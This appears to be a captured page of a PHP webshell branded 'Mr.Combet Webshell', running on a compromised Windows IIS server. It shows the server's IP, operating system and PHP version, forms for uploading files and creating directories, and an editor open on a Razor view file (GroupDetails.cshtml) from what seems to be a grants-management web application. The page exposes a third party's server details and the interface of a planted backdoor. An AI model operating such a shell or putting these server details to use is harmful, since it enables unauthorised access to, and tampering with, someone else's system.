Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
mapqa
/
Views
/
Groups
/
Edit File Name :
GroupDetails.cshtml
@model RER_Project.DataAccess.ViewModels.Groups.GroupModel @using RER_Project.BusinessLayer.BusinessService @using RER_Project.Core.Helpers @{ ViewBag.Title = "IFF Details"; var meta = AppUserService.GetCurrent(); var currentWorkFlow = WorkFlowService.CurrentGroupWorkFlow(meta.RoleId, Model.FnShortGroupInformation.group_id); } <div class="wrapper wrapper-content animated"> <div class="row"> <div class="col-lg-12"> <div class="ibox float-e-margins"> <div class="ibox-content"> <h3><u>IFF Information</u></h3> <div class="row"> <div class="col-lg-12"> <span style="font-size:medium">IFF Name : <strong> @Model.FnShortGroupInformation.group_name </strong></span> </div> </div> <br /> <div class="row"> <div class="col-lg-4"> <span style="font-size:medium">Province : <strong> @Model.FnShortGroupInformation.province</strong></span> </div> <div class="col-lg-4"> <span style="font-size:medium">Atoll : <strong> @Model.FnShortGroupInformation.district</strong></span> </div> <div class="col-lg-4"> <span style="font-size:medium">Island : <strong> @Model.FnShortGroupInformation.municipality</strong></span> </div> </div> <br /> <div class="row"> @* <div class="col-lg-4"> <span style="font-size:medium">Ward : <strong> @Model.FnShortGroupInformation.ward</strong></span> </div>*@ @* <div class="col-lg-4"> <span style="font-size:medium">Settlement : <strong> @Model.FnShortGroupInformation.settlement</strong></span> </div>*@ @*<div class="col-lg-4"> <span style="font-size:medium">No. of Beneficiaries : <strong> @Model.FnShortGroupInformation.beneficiaries_no</strong></span> </div>*@ </div> <br /> <div class="row"> @* <div class="col-lg-4"> <span style="font-size:medium">Commodity : <strong> @Model.FnShortGroupInformation.commodity</strong></span> </div>*@ <div class="col-lg-4"> <span style="font-size:medium">Contact Person : <strong> @Model.FnShortGroupInformation.contact_person</strong></span> </div> <div class="col-lg-4"> <span style="font-size:medium">Contact No : <strong> @Model.FnShortGroupInformation.contact_no</strong></span> </div> </div> <br /> <div class="row"> <div class="col-lg-4"> <span style="font-size:medium">Remarks : <strong> @Model.FnShortGroupInformation.remarks</strong></span> </div> <div class="col-lg-4" style="display:none"> <select type="text" class="form-control required" id="InvestmentOptionId" disabled name="InvestmentOptionId" data-api="/investment-option/select" data-api-selected-value="@Model.FnShortGroupInformation.investment_option_id" onchange="showDiv(this)"></select> </div> </div> <br /><br /> @* <div class="row" id="windowInvestment" hidden> <div class="form-group col-md-6"> <label id="lblwindowInvestment" style="font-size:medium"> Window Investment </label> </div> <div class="form-group col-md-12"> <table id="tb" class="table table-striped table-bordered"> <thead> <tr> <th> Proposed Amount (Rs) </th> <th> <span id="lblGroupType"> </span> </th> <th> Samriddhi Grant (Rs) </th> <th class="palikaOShowHide"> Palika / O (Rs) </th> </tr> </thead> <tbody> <tr> <td> <label id="ProposedGrant" style="font-size:medium"></label></td> <td> <label id="GroupCo" style="font-size:medium"></label> </td> <td> <label id="Samriddhi" style="font-size:medium"></label> </td> <td class="palikaOShowHide"> <label id="PalikaO" style="font-size:medium"></label> </td> </tr> </tbody> </table> </div> </div>*@ @*<div class="row" id="window1AndUnLocking" hidden> <div class="form-group col-md-6"> <strong><label> Window 1(Unlocking)Investment </label></strong> </div> <div class="form-group col-md-12"> <table id="tb1" class="table table-striped table-bordered"> <thead> <tr> <th> Proposed Amount (Rs) </th> <th> Group / Co (Rs) </th> <th> Samriddhi Grant(Rs) </th> <th class="palikaOShowHide"> Palika / O </th> </tr> </thead> <tbody> <tr> <td> <label id="ProposedGrant2" style="font-size:medium"> Window Investment </label></td> <td> <label id="GroupCo2" style="font-size:medium"> </label> </td> <td> <label id="Samriddhi2" style="font-size:medium"> </label> </td> <td class="palikaOShowHide"> <label id="PalikaO2" style="font-size:medium" class="palikaOShowHide"> </label> </td> </tr> </tbody> </table> </div> </div>*@ <div class="row"> <div class="form-group col-md-12 pull-right"> <a href="/groups" class="btn btn-default"><i class="fa fa-arrow-circle-o-left"></i> Back</a> @if (meta.RoleId == (int)EnumRoleHelper.Roles.Admin && currentWorkFlow.StatusId == 2) { <button type="button" class="btn btn-primary pull-right " id="mainApproveBtn" data-toggle="modal" data-target="#approve"> Approve </button> } @if (meta.IsAdministrator) { <a href="#" onclick="deleteGroup('@Model.FnShortGroupInformation.group_id')" id="deleteBtn" class="btn btn-danger pull-right"><i class="fa fa-trash"></i> Delete</a> } </div> </div> </div> </div> </div> </div> <div class="modal inmodal" id="approve" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content animated fadeIn"> <div class="modal-header" style="padding:8px"> <strong>Are you sure you want to approve this group ?</strong> <button type="button" class="close" data-dismiss="modal"><span aria-hidden="true">×</span><span class="sr-only">Close</span></button> </div> <div class="modal-body"> <p> <div class="row"> <div class="form-group col-md-12"> <label for="title" style="display:block"><strong>Remarks :</strong> </label> <textarea rows="4" style="width:100%;resize:none" name="Remarks" id="Remarks"></textarea> </div> </div> </p> </div> <div class="modal-footer"> <button type="button" class="btn btn-white" data-dismiss="modal">Close</button> <a href="#" onclick="approveGroup('@Model.FnShortGroupInformation.group_id')" id="ApproveBtn" class="btn btn-success"><i class="fa fa-check"></i> Approve</a> </div> </div> </div> </div> </div> <script> $(document).ready(function () { window.initializeSelectApis(); loadWindowsData(); $("#InvestmentOptionId").on("change", function () { $("#lblwindowInvestment").text($("#InvestmentOptionId option:selected").text()); $("#selectedInvestmentOptionval").val($("#InvestmentOptionId option:selected").val()); var optionIdval = $("#InvestmentOptionId option:selected").val(); if (optionIdval == "") { $("#windowInvestment").hide(); } else { $("#windowInvestment").show(); } }) $("#CommodityId").on("change", function () { var commodity = $("#CommodityId option:selected").text(); $("#selectedCommodityval").val($("#CommodityId option:selected").val()); if ($("#CommodityId option:selected").val() == "") { $("#selectedCommodity").text(""); } else { $("#selectedCommodity").text(commodity); } }) }) function showDiv(select) { $("#lblGroupType").text("Group / Co (Rs)"); if (select.value == "4") { $("#lblGroupType").text("Service Provider (Rs)"); $(".palikaOShowHide").hide(); } if (select.value =="5") { $("#lblGroupType").text("Trader (Rs)"); $(".palikaOShowHide").hide(); } if (select.value == "6") { $("#lblGroupType").text("Company (Rs)"); $(".palikaOShowHide").hide(); } if (select.value == "3") { $("#lblwindowInvestment").text("Window 1 Investment"); $("#window1AndUnLocking").show(); $(".palikaOShowHide").show(); } else { $("#window1AndUnLocking").hide(); } if (select.value == "1" || select.value == "2") { debugger; $(".palikaOShowHide").show(); } if (select.value == "") { $("#windowInvestment").hide(); resetField(); } else { $("#windowInvestment").show(); } } function loadWindowsData(){ var data = @Html.Raw(Json.Encode(Model.InvestmentOption)); data.forEach(function(x){ if (x.WindowsInvestmentName == null) { $("#ProposedGrant").text('Rs ' + Number(parseFloat(x.ProposedGrant).toFixed(2)).toLocaleString("en-IN", { minimumFractionDigits: 2 }) ); $("#GroupCo").text('Rs ' + Number(parseFloat( x.GroupCo).toFixed(2)).toLocaleString("en-IN", { minimumFractionDigits: 2 })); $("#Samriddhi").text( 'Rs ' + Number(parseFloat(x.Samriddhi).toFixed(2)).toLocaleString("en-IN", { minimumFractionDigits: 2 })); $("#PalikaO").text('Rs ' + Number(parseFloat(x.PalikaO).toFixed(2)).toLocaleString("en-IN", { minimumFractionDigits: 2 }) ); } else if (x.WindowsInvestmentName == "Windows1Unlocking") { $("#ProposedGrant2").text('Rs ' + Number(parseFloat(x.ProposedGrant).toFixed(2)).toLocaleString("en-IN", { minimumFractionDigits: 2 })); $("#GroupCo2").text('Rs ' + Number(parseFloat( x.GroupCo).toFixed(2)).toLocaleString("en-IN", { minimumFractionDigits: 2 })); $("#Samriddhi2").text('Rs ' + Number(parseFloat(x.Samriddhi).toFixed(2)).toLocaleString("en-IN", { minimumFractionDigits: 2 })); $("#PalikaO2").text('Rs ' + Number(parseFloat(x.PalikaO).toFixed(2)).toLocaleString("en-IN", { minimumFractionDigits: 2 }) ); } }) } function approveGroup(id) { WorkForce.loader.show(); let conf = confirm(`Are you sure you want to Approved this group ?`); if (!conf) { return; } else { var ajax = requestForApprove(id); ajax.done(function (response) { WorkForce.loader.hide(); if (response) { $('#approve').modal('hide'); $('#mainApproveBtn').hide(); clearForm(); ShowMessage("success", "This group has been Forward Successfully."); window.location.href = "/groups?page=1"; } else {//No. of member created should be equal to No. of beneficiaries ShowMessage("error", "Unable to Approved Currently."); } }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("Error", xhr.responseText); }); } } function clearForm() { $('#Remarks'), val(''); } function requestForApprove(id) { const url = "/group/approve"; let remarks = document.getElementById('Remarks').value; const data = JSON.stringify({ "ModuleMemberId": id, "Remarks": remarks }); return window.getAjaxRequest(url, "POST", data); } function requestForDelete(id) { const url = "/groups/delete"; const data = JSON.stringify({ "groupId": id }); return window.getAjaxRequest(url, "POST", data); } function deleteGroup(id) { WorkForce.loader.show(); let conf = confirm(`Are you sure you want to delete this group ?`); if (!conf) { return; } else { var ajax = requestForDelete(id); ajax.done(function (response) { WorkForce.loader.hide(); if (response) { window.location.href = "/groups?page=1"; ShowMessage("success", "This group has been deleted successfully."); } else { WorkForce.loader.hide(); ShowMessage("error", "Unable to delete the group currently."); } }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("Error", xhr.responseText); }); } } </script>
Save